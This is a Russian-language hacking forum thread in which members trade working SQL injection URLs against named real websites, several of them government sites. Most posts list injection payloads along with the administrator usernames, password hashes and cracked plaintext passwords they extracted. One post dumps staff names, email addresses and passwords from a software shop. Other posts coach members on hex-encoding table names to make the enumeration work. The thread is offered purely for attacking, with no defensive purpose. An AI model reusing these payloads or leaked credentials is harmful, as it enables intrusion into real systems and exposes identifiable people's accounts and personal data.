SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Thrasher88

    Thrasher88 Elder - Старейшина

    Joined:
    18 Apr 2008
    Messages:
    62
    Likes Received:
    13
    Reputations:
    0
    www.khonshop.com - арабский шоп
    4.0.18-max-nt::khonshop@localhost::khonshop
    Google PR: 3

    www.wyoptv.org - сайт национального природного парка в штате Вайоминг
    5.0.32-Debian_7etch6-log::wyoptv@localhost::wyoptv
    Google PR: 5
    +открытая для гостей админка wyoptv.org/admin/ :)

    yogacenter.ru - йога-центр Просветление :)
    5.0.67-community-log::mh3yoga_yoga@localhost::mh3yoga_new
    Google PR: 5
    Yandex тИЦ: 300
     
  2. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0
    Представляю, сидел скулю химичил, пассы вытащил, тут нааа.... и админка общаковская )))
     
  3. Thrasher88

    Thrasher88 Elder - Старейшина

    Joined:
    18 Apr 2008
    Messages:
    62
    Likes Received:
    13
    Reputations:
    0
    Примерно так и было :D
     
  4. -=Razor=-

    -=Razor=- Member

    Joined:
    20 Dec 2008
    Messages:
    30
    Likes Received:
    29
    Reputations:
    3
    4.0.17-standardjunooskol_ruslimejunooskol_rusl@localhost


     
    3 people like this.
  5. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    58
    Likes Received:
    43
    Reputations:
    0
    http://www.feldgrau.com/articles.php?ID=-1+union+select+1,2,3,4,unhex(hex(group_concat(table_name))),6,7,8+from+information_schema.tables--
    ТИЦ : 90 PR: 5
    ----------
     
    5 people like this.
  6. -Onotole-

    -Onotole- Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    44
    Likes Received:
    141
    Reputations:
    8
    бля,наркоман,НОВЫЙ ГОД ЕПТ!!1!!!(итс нот а флуд)
     
    3 people like this.
  7. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Новогодний диз=)
    Code:
    http://www.ztopclub.ru/afisha/?view=-1+union+select+1,2,3,4,5,concat_ws(0x3a,login,passwd),7,8,9,10,11+from+users--
    Логин/пасс:
    Code:
    arius:0e2ff58f89a19e0750d33c2af5d605c6   
    ---------------------------------------------------
    The End!
     
    #7227 -m0rgan-, 1 Jan 2009
    Last edited: 1 Jan 2009
  8. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.cla.co.uk/news.php?id=-60+union+select+1,concat_ws(0x3a,user,password),3,4,5,6,7,8,9+from+mysql.user--
    логин/пасс:
    Code:
    root:2cd42df3698b9525
    --------------------------------------------------------
    The End!
     
  9. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Немного правительственных ресурсов:
    Code:
    http://www.culture.gov.jo/view_arch.php?src=news&id=-1+union+select+1,2,3,concat(0x3a,user_name,password),5,6,7,8,9,10,11,12+from+users--
    логин/пасс:
    Code:
    IkEr7JveUVCF:sYQQ6WRNSpBi
    ---------------------------------------------------------
    Code:
    http://www.ere.gov.al/galeri_info.php?lang=EN&idr=-1&ida=10+and+1=2+union+all+select+1,2,3,4,concat(0x3a,username,password),6+from+editor--
    логин/пасс:
    Code:
    adminfe01ce2a7fbac8fafaed7c982a04e229
    ------------------------------------------------------------
    The End!
     
    1 person likes this.
  10. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    -m0rgan-,
    Code:
    arius:0e2ff58f89a19e0750d33c2af5d605c6
    =
    Code:
    arius:hl59zf
    ;)

    Code:
    admin:fe01ce2a7fbac8fafaed7c982a04e229
    =
    Code:
    admin:demo
    Code:
    root:2cd42df3698b9525
    =
    Code:
    root:qpl129

    Code:
    http://www.mmafightsearch.com/show_event.php?eid=23'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,table_name,15,16,17,18,19,20+from+information_schema.tables/*
    Code:
    http://www.boulevard-gastspiele.de/show_event.php?eID=-4'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,version(),26,27,28/*
    4.0.24-max

    Code:
    http://www.heartheworld.org/event.php?id=-783+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74/*
    4.1.25-Debian_mt1-log

    Всех с НГ
     
    _________________________
    2 people like this.
  11. Xcontrol212

    Xcontrol212 Elder - Старейшина

    Joined:
    13 Feb 2008
    Messages:
    253
    Likes Received:
    110
    Reputations:
    7
    Code:
    http://anewpark.ca/parkupdate.php?id=-1+union+select+1,2,pass,4,5+FROM+auth/*
    Code:
    http://anewpark.ca/parkupdate.php?id=-1+union+select+1,2,user,4,5+FROM+auth/*
    cmv ;XXViwWKTqWaWM
     
    2 people like this.
  12. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Прокуратура Чувашской Республики:
    Code:
    http://www.chuvprok.gov.ru/news.php?id=-157+union+select+1,concat_ws(version(),user(),database()),3,4,5--
    Юзер/версия/бд:
    Увы поиметь админский ак не удалось, ибо не подобрал таблицу с юзерами(((
    -----------------------------------------------------------
    The End!
     
  13. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Есче один правительственный ресурс:
    Code:
    http://www.voladm.gov.ua/news.php?id=-4196+union+select+1,2,3,4,5,concat_ws(0x3a,table_schema,table_name,column_name),7,8,9,10,11,12,13,14+from+information_schema.columns+limit+1098,1--&today=&lang=ukr
    Так же не докрутил, ибо в падлу перебирать 1098 таблиц(((
    Так что только:
    Code:
    http://www.voladm.gov.ua/news.php?id=-4196+union+select+1,2,3,4,5,concat_ws(version(),user(),database()),7,8,9,10,11,12,13,14--&today=&lang=ukr
    версия/юзер/бд:
    Code:
    [email protected]_gov
     
    1 person likes this.
  14. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Более удачный хак:
    Public Utilities Commission
    Code:
    http://www.pucbahamas.gov.bs/news.php?id=-82+union+select+1,2,3,4,concat_ws(0x3a,name,password),6,7,8,9,10,11,12,13+from+admin--&type=news&action=display
    Логин/пасс:
    Code:
    Karen Rigby:3e6f2290ee4e701055be72757a545880
    Code:
    Lisa Bellot:2664085da4a728c6720f488de1f98b6b
    Code:
    Kemp:3c195b52a144b6acc18488fcd9db1d40
    Code:
    Whitfield:e705f73a79b4dcad2aed164ff79d91e9
    ---------------------------------------------------------------
     
  15. Wrath

    Wrath Member

    Joined:
    30 Dec 2008
    Messages:
    78
    Likes Received:
    33
    Reputations:
    10
    Code:
    http://www.prokredo.ru/college.php?id=-21+union+select+1,password,login,4,5,6,7,8,9,10,11,12,13,14+from+kredo_admins
    n:mooncat
    p:sql
     
    1 person likes this.
  16. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    "Бизнес-портал о реальном секторе экономики"

    Code:
    http://ugmk.info/?art=1230566216[sql]
    5-ая ветка.

    Code:
    http://www.voladm.gov.ua/news.php?id=-4196+union+select+1,2,3,4,5,group_concat(table_schema,0x3a,table_name),7,8,9,10,11,12,13,14+from+information_schema.columns+where+column_name=0x6c6f67696e--
    ЗЫ: Посты можно редактировать.
     
    1 person likes this.
  17. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Магазин проги для создания музыки Довольно хорошая прога в базе серийники итд в общем всё красиво..

    http://www.fxpansion.com/index.php?page=42+union+select+concat_ws(0x3a3a,version(),user(),database())--

    Database Version: 5.0.67-log
    Database name: amulet_fxp
    User name: [email protected]

    Getting Data from table admin (20 Rows) from database amulet_fxp
    Fields id:name:passwd:email

    [1]:5:FxAdmin:6db2c691d93ff83982ca1cddcad249bd:[email protected]
    [2]:7:angus:ad9f3b061bc2814cfe7b3396ef579290:[email protected]
    [3]:8:skot:49043fd7063a5c3797c3f8b799f8c417:[email protected]
    [4]:9:rhiannon:8ec6dbb2bb58ef90bec34b32f700416c:[email protected] password:felicity
    [5]:11:steve:ecee098cb8e78f5aba61f8bf15fcc8e9:[email protected]
    [6]:27:julia:c2e285cb33cecdbeb83d2189e983a8c0:[email protected] pass:julia
    [7]:13:mayur:ff65543ed4d0eeb56155c32596607d0a:[email protected]
    [8]:14:paul:facd4bc86b7f12740c83bcaa4e75ae0a:p[email protected] pass:exponent
    [9]:15:drew:edc7b78aa1f15e32e473fe58a551cff5:[email protected]
    [10]:16:rory:3c72a3b545abc540a09dd8a9d2949975:[email protected]
    [11]:17:mully:03182bd6abc890c03027da69ba599d40:[email protected]
    [12]:18:robert:1806b29558477d521373c0d47675f175:[email protected]
    [13]:19:andy:10951f38de98894210cf39ee037bf5e9:[email protected]
    [14]:20:ryan:365c2d3ed6ddc375841db8402bccc0ee:[email protected]
    [15]:24:rus:a9cb4024aedea7770c82b51cd0c452e4:[email protected]
    [16]:22:peter:fff66a4d00c8ed7bb7814ff29d0faca2:p[email protected] pass:ambient
    [17]:23:tom:e0f60286791b829d69fcf44c13aa5b15:[email protected]
    [18]:25:clare:fd99fefa10ecdc781cf8016cb5381f0c:[email protected] pass:marmite
    [19]:29:terry:211be8df297928faeedd89e3a4f1a75a:[email protected]
     
    1 person likes this.
  18. Wrath

    Wrath Member

    Joined:
    30 Dec 2008
    Messages:
    78
    Likes Received:
    33
    Reputations:
    10
    Palm Online


    Code:
    http://www.palmq.ru/article.php?sid=-1386+union+select+1,2,3,version(),user(),6,7,8,9,10,11%20--
    Имя таблицы мне узнать удалось - nuke_users

    Code:
    http://www.palmq.ru/article.php?sid=-1386+union+select+1,2,3,4,5,table_name,7,8,9,10,11+from+information_schema.tables+limit+72,1%20--
    Но почему-то столбцы узнать не получается.. Может я не правильно составляю запрос?

    Code:
    http://www.palmq.ru/article.php?sid=-1386+union+select+1,2,3,4,5,column_name,7,8,9,10,11+from+information_schema.columns+where+table_name='nuke_users'+limit+1,1%20--
     
  19. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Всё правильно, вот только nuke_users нужно зашифровать в hex.

    Вот так:

    Code:
    http://www.palmq.ru/article.php?sid=-1386+union+select+1,2,3,4,5,column_name,7,8,9,10,11+from+information_schema.columns+where+table_name=0x6e756b655f7573657273+limit+1,1--
     
  20. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    www.wwrn.org, PR = 5

    Code:
    http://www.wwrn.org/article.php?idd=-1+union+select+1,2,3,4,5--
    http://www.wwrn.org/article.php?idd=-1+union+select+1,2,concat(version(),':',database(),':',user()),4,5--
    version() - 5.1.26-rc
    database() - wwrn
    user() - wwrn@localhost

    www.writersstore.com, PR = 5

    Code:
    http://www.writersstore.com/article.php?articles_id=604'+limit+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+0
    http://www.writersstore.com/article.php?articles_id=604'+limit+0+union+select+1,2,concat(version(),':',database(),':',user()),4,5,6,7,8,9,10,11,12,13,14,15--+0
    
    version() - 4.0.17-log
    database() - tws_store
    user() - [email protected]
     
Thread Status:
Not open for further replies.